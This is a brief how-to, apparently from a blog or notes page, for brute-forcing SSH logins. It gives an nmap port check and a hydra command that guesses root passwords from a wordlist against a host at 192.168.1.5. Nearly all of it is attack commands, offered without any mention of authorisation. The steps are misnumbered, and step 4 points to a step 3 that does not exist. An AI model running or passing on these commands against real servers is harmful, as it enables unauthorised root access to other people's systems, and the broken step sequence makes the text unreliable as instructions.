We are going to use hydra to crack ssh.
1. Check if ssh port is open (default 22)
nmap -sT -Pn -n -p22 192.168.1.5
2. Try to connect
hydra -l root -P mypasslist.lst 192.168.1.5 ssh
4. If step 3 ended succesfully, try to connect again. 🙂